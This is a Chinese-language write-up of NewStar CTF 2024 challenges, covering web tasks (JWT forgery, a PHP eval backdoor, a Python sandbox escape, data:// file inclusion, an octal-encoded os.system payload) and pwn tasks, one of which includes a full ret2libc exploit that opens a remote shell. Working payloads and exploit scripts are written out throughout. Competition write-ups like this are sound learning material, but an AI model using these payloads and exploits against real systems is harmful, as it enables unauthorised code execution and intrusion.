Accept-Language:  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection:  keep-alive
Origin:  http://39.106.48.123:44208
Priority:  u=0, i
Referer:  http://39.106.48.123:44208/?ask=miao
User-Agent:  Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Papa/51.0.2704.103 Safari/537.36
Cookie:  token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.HDqDwu00zHB419YHtWyIuZXgCKyzcgWGOS61FqmtxWA
Content-Length: 215
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="123.zip"
Content-Type: application/zip

UEsDBBQAAAAAALadQVnSY0iIAwAAAAMAAAAHAAAAMTIzLnR4dDEyM1BLAQIUABQAAAAAALadQVnSY0iIAwAAAAMAAAAHACQAAAAAAAAAIAAAAAAAAAAxMjMudHh0CgAgAAAAAAABABgARnGgcfcT2wEn4ERy9xPbAf3wgGX3E9sBUEsFBgAAAAABAAEAWQAAACgAAAAAAA==
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
----WebKitFormBoundary7MA4YWxkTrZu0gW

进入第六关

image-20241001201749416
image-20241001201749416

X-Forwarded-For: localhost

image-20241001212950497
image-20241001212950497

拿到了jwt的密钥,用来构造jwt,不过好像没有第七关,反而发现了第零关

image-20241001214328614
image-20241001214328614

image-20241001213211240
image-20241001213211240

点击从梦中醒来拿到flag

image-20241001214007284
image-20241001214007284

Week 2

你能在一秒内打出八句英文吗

flag{1a448088-b5dc-45c4-ae87-85ec6196d268}

image-20241007203857729
image-20241007203857729

image-20241011230051958
image-20241011230051958

他禁止复制粘贴了,要用python来完成

exp

import requests
from bs4 import BeautifulSoup

url = "http://eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com/start"
headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Cookie": "Hm_lvt_2d0601bd28de7d49818249cf35d95943=1727168116; session=.eJxFkMFOwzAMQH_FyhlVULZS7QvYnTsyrUtD07iy3Y2C-HfM2opDDkme3nPyHdRQ7NXiSOH08FTW1bGqq_uiLsvD4fF4F4w-LZzCMwHlD14U-jjE_A4xg_UEI8_ZMGYt4MW3DRqoL95u0dZzceSNrwo4TYRCLWBnJDdIjWUs4AzGPABCYtdfMQ17gy6UPflvgo5SAuXO0rKnhLnbZkg8twqtRE-0kPArOoaNsOoaHJaVtJsMReLFwT-Rf0MB_tZtlIzT7m94bvoi_PwCm6hoyw.Zwk13A.tiCzyox15AfmR_rtNY0bBRThUho",
    "Host": "eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
}
session = requests.session()
response = session.get(url, headers=headers)
soup=BeautifulSoup(response.text,'lxml')
text = soup.find("p").text
url = "http://eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com/submit"

headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com",
    "Origin": "http://eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com",
    "Referer": "http://eci-2zecx2ndu4h2vjnbbpvm.cloudeci1.ichunqiu.com/start",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
}

payload = {
    "user_input" : text
}

response = session.post(url, data=payload, headers=headers)
soup=BeautifulSoup(response.text,'lxml')
text = soup.select("p")[1].text
print(text)

image-20241011230625754
image-20241011230625754

遗失的拉链

flag{d885117e-2d04-44d2-8e17-f4cdfc4b345b}

image-20241007215254932
image-20241007215254932

界面和源代码都没有有用信息,尝试扫描目录

image-20241007215338028
image-20241007215338028

扫描到一个压缩包,保存到本地查看,在压缩包中找到一个pizwww.php

<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
    if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
        //欸 为啥sha1和md5相等呢
        $cmd = $_POST['cmd'];
        if (preg_match("/cat|flag/i", $cmd)) {
            die("u can not do this ");
        }
        echo eval($cmd);
    }else{
        echo "Wrong";

    } 
}

显然,这是一个后门,要想md5和sha1相等,只要传入数组即可,传入数组会返回null

get参数传入new[]=1

post参数传入star[]=2&cmd=system('more /fl""ag');

拿到flag

image-20241007215750614
image-20241007215750614

复读机

flag{e8767161-ff29-44c5-8075-aa6e0eaa3d2a}

image-20241007220659844
image-20241007220659844

fenjing秒了

image-20241007220737696
image-20241007220737696

Week 3

臭皮踩踩背

flag{23b1c298-e5c3-4335-a151-349234b6d17f}
def ev4l(*args):
    print(secret)

inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))

分析源码发现将内置函数清空了,需要利用 python 继承链来绕过

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat flag")

image-20241014145314282
image-20241014145314282

Include Me

flag{ac16362f-7e77-453b-b936-431e628f8477}
<?php
highlight_file(__FILE__);
function waf(){
    if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
        die("兄弟你别包");
    };
}
if(isset($_GET['phpinfo'])){
    phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
    header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

分析源码:

  • 含有文件包含漏洞,me参数过滤了很多危险字符
  • phpinfo变量不为空可以访问phpinfo
  • iknow变量为空会自动搜索php伪协议

访问phpinfo,发现开了双on,可以用data伪协议来执行php代码

image-20241015145227502
image-20241015145227502

因为他过滤了php等字符,可以将其转为base64编码再url编码

image-20241015145436215
image-20241015145436215

data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJ2NhdCAvZmxhZycpOy8qMSovID8%2B

image-20241015145535465
image-20241015145535465

拿到flag

臭皮的计算机

flag{a70ef265-2f90-4e64-bb74-38c5d03cbaa4}

image-20241015164149418
image-20241015164149418

image-20241015164214853
image-20241015164214853

右键查看页面源代码

image-20241015164248858
image-20241015164248858

找到了源码,通过源码知道,输入的内容不能有字母,会将输入的内容通过eval执行

他已经导入了os模块,只要os.system('cat /flag')就行了

考虑到他不允许输入字母,将payload转为八进制

payload:

\157\163\56\163\171\163\164\145\155\50\47\143\141\164\40\57\146\154\141\147\47\51

在输入框中输入payload

image-20241015164635086
image-20241015164635086

Pwn

Week 1

Real Login

flag{e26b1574-1d6d-412c-94d1-22ff9a7024dc}

IDA打开附件

image-20240930173438094
image-20240930173438094

image-20240930173451991
image-20240930173451991

你输入的字符和password相等就能获得权限

image-20240930173528773
image-20240930173528773

password的值

image-20240930173547957
image-20240930173547957

Game

flag{f00a1e10-939a-439e-85ce-34ccddca8658}

IDA打开文件

image-20240930181914947
image-20240930181914947

就是输入小于10大于0的数,最后大于999就能拿到权限

image-20240930184903492
image-20240930184903492

输入9.5就能获得flag

gdb

flag{fee42e97-a3ac-4de1-a003-716944ba9aff}

image-20241006004738757
image-20241006004738757

image-20241006004819298
image-20241006004819298

看伪代码,是将0d000721进行加密,在与用户输入字符串进行比对,正确输出flag,加密代码看不懂,根据提示使用GDB进行调试

image-20241006005110421
image-20241006005110421

得到了s的值,直接在nc输入发现没用,利用pwntools进行发送

image-20241006005155358
image-20241006005155358

exp

from pwn import *
p = remote("101.200.139.65",34864)
p.recvuntil(b"Input your encrypted data:")
payload = b"]\x1dCUSEWE"
p.send(payload)
while True:
    s = p.recvline()
    print(s)
    if s in b"}":
        break

image-20241006005253941
image-20241006005253941

Week 2

ez_game

flag{174e3993-6ef9-42ae-91f6-df1a02b3569b}

image-20241009204320749
image-20241009204320749

栈溢出,但是没有system和/bin/sh,开启了NX保护,利用libc泄露system函数地址

image-20241009205808009
image-20241009205808009

64位程序,先找寄存器rdi地址,gdb-peda里输入ropsearch "pop rdi ; ret"

image-20241009205921481
image-20241009205921481

先获取read的真实地址

pop_rdi_ret_addr = 0x00400783
puts_plt = e.plt['puts']
read_got = e.got['read']
main_addr = e.symbols['main']
offset = 88

payload = b"a" * offset
payload += p64(pop_rdi_ret_addr) 
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.recvuntil(b"Welcome to NewStarCTF!!!!")
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

获取到read的真实地址后就能计算libc的基地址

附件虽然给了so文件,但是不知道为什么获取不到shell,可以用LibcSearcher来做

函数的真实地址 = 基地址 + 偏移地址

exp

from pwn import *
from LibcSearcher import *

e = ELF("attachment")
p = remote("8.147.132.32", 13453)
pop_rdi_ret_addr = 0x00400783
puts_plt = e.plt['puts']
read_got = e.got['read']
main_addr = e.symbols['main']
offset = 88

payload = b"a" * offset
payload += p64(pop_rdi_ret_addr) 
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.recvuntil(b"Welcome to NewStarCTF!!!!")
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
'''
libc_base = read_real_addr - libc.sym["read"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
'''
libc = LibcSearcher('read', read_real_addr)
libc_base = read_real_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload = b"a" * offset
payload += p64(0x00400509) 
payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
sleep(1)
p.send(payload)
p.interactive()

image-20241009211004697
image-20241009211004697

NewStar CTF 2024
http://yanami.voin.ink/index.php/archives/15/
本文作者 YunLi
发布时间 2024-11-15
许可协议 CC BY-NC-SA 4.0
发表新评论